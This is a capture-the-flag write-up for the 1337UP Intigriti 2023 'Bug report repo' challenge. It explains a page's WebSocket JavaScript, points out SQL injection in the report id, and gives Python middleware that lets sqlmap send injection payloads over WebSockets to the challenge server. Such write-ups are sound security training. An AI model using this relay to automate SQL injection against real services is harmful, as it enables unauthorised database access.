1337UP intigriti 2023

Bug report repo

This is the webpage of the challenge where we look at the page dealing in reports:

we keep on typing the number , we can see that the program responds the name and the status of the report

we can also see that no request was made to the back-end for this -> so everything must on the front-end

Though when bug not found says the id not on the display:

It gives a new report id-> 11 not on display {also from ethical hacker}

I got this code from the page's js file -> They were using websockets .. that's why nothing was on burp

$(document).ready(function () {
  open_ws();
  $("#id").on("keyup", function (_event) {
    bug_search();
  });
});

function bug_search() {
  var bug_id = $("#id").val();
  if (bug_id) {
    var msg = JSON.stringify({ id: bug_id });
    ws.send(msg);

    var rows = $("table tbody tr");
    rows.removeClass("highlight").css("color", "");
    rows.each(function () {
      var row = $(this);
      if (row.find("td:first-child").text() == bug_id) {
        row.addClass("highlight").css("color", "black");
      }
    });
  }
}

function open_ws() {
  var HOST = location.origin.replace(/^http/, "ws");
  console.log(HOST)
  window.ws = new WebSocket(HOST + "/ws");

  ws.onopen = function (_event) {
    setInterval(ping, 42000);
  };

  ws.onmessage = function (event) {
    if (event.data == "__pong__") {
      pong();
      return;
    }

    try {
      msg = JSON.parse(event.data);
      $("#res-container").html(msg.message);
    } catch (e) {
      $("#res-container").html(event.data);
    }
  };

  ws.onerror = function (event) {
    try {
      msg = JSON.parse(event.data);
      $("#res-container").text(msg.message);
    } catch (e) {
      $("#res-container").text(event.data);
    }
  };

  ws.onclose = function (_event) {
    console.log("Connection closed!");
  };
}

function ping() {
  ws.send("__ping__");
  tm = setTimeout(function () {}, 4200);
}

function pong() {
  clearTimeout(tm);
}

explaintation

  1. Document Ready Function:

    javascriptCopy code$(document).ready(function () {
      open_ws();
      $("#id").on("keyup", function (_event) {
        bug_search();
      });
    });
    • This part ensures that the document is fully loaded before executing the provided functions.

    • open_ws() is called to open a WebSocket connection.

    • An event listener is attached to the keyup event on the HTML element with the ID id. When a key is released, the bug_search() function is called.

  2. bug_search() Function:

    javascriptCopy codefunction bug_search() {
      var bug_id = $("#id").val();
      if (bug_id) {
        var msg = JSON.stringify({ id: bug_id });
        ws.send(msg);
    
        var rows = $("table tbody tr");
        rows.removeClass("highlight").css("color", "");
        rows.each(function () {
          var row = $(this);
          if (row.find("td:first-child").text() == bug_id) {
            row.addClass("highlight").css("color", "black");
          }
        });
      }
    }
    • Retrieves the value from the HTML element with the ID id.

    • If bug_id is not empty, it constructs a JSON message (msg) and sends it via the WebSocket (ws.send(msg)).

    • It then manipulates the style of table rows based on whether they match the bug_id.

  3. open_ws() Function:

    javascriptCopy codefunction open_ws() {
      var HOST = location.origin.replace(/^http/, "ws");
      console.log(HOST)
      window.ws = new WebSocket(HOST + "/ws");
    
      ws.onopen = function (_event) {
        setInterval(ping, 42000);
      };
    
      ws.onmessage = function (event) {
        // Handle WebSocket messages
      };
    
      ws.onerror = function (event) {
        // Handle WebSocket errors
      };
    
      ws.onclose = function (_event) {
        console.log("Connection closed!");
      };
    }
    • Constructs a WebSocket (ws) using the current page's origin with the protocol changed to WebSocket (ws).

    • Sets up event handlers for onopen, onmessage, onerror, and onclose events.

    • Calls ping function at regular intervals (42 seconds).

  4. ping() and pong() Functions:

    javascriptCopy codefunction ping() {
      ws.send("__ping__");
      tm = setTimeout(function () {}, 4200);
    }
    
    function pong() {
      clearTimeout(tm);
    }
    • ping sends a __ping__ message through the WebSocket and sets a timeout.

    • pong clears the timeout, acting as a response to the ping.

exploit begins

what if we use the injection here? -> basic sqli

GUESS WE ARE RIGHT

we can use sqlmap to automate our finding -> sqlmap over websockets !! yes how to do so:

  1. Article-1 explaining everything.

  2. Article-2 shared by official writeup -> here

so using article-1 I made sure to understand the code and used it , also the code was made for the in-network server but we needed to connect to remote hosts over websockets so we used wss instead of ws in the protocol.

we also need to make sure that the negative id are not being transmitted as it's running sqlite3

so to do that we just imply a simple condition the code : if payload.startswith('-'): content="NOT sending due to -ve value"

code:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line	
    # resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
    # For our case, format the payload in JSON
    message = unquote(payload).replace('"', '\'')  # replacing " with ' to avoid breaking JSON structure
    data = '{"employeeID":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=', 1)[1]
            except IndexError:
                payload = False

            if payload:
                if payload.startswith('-'):
                    content = "Skipped due to negative id as it freezes on negative id"
                else:
                    content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

now this is our middle ware -> we'll send the request to him via sqlmap and this will forward it over websocket:

Last updated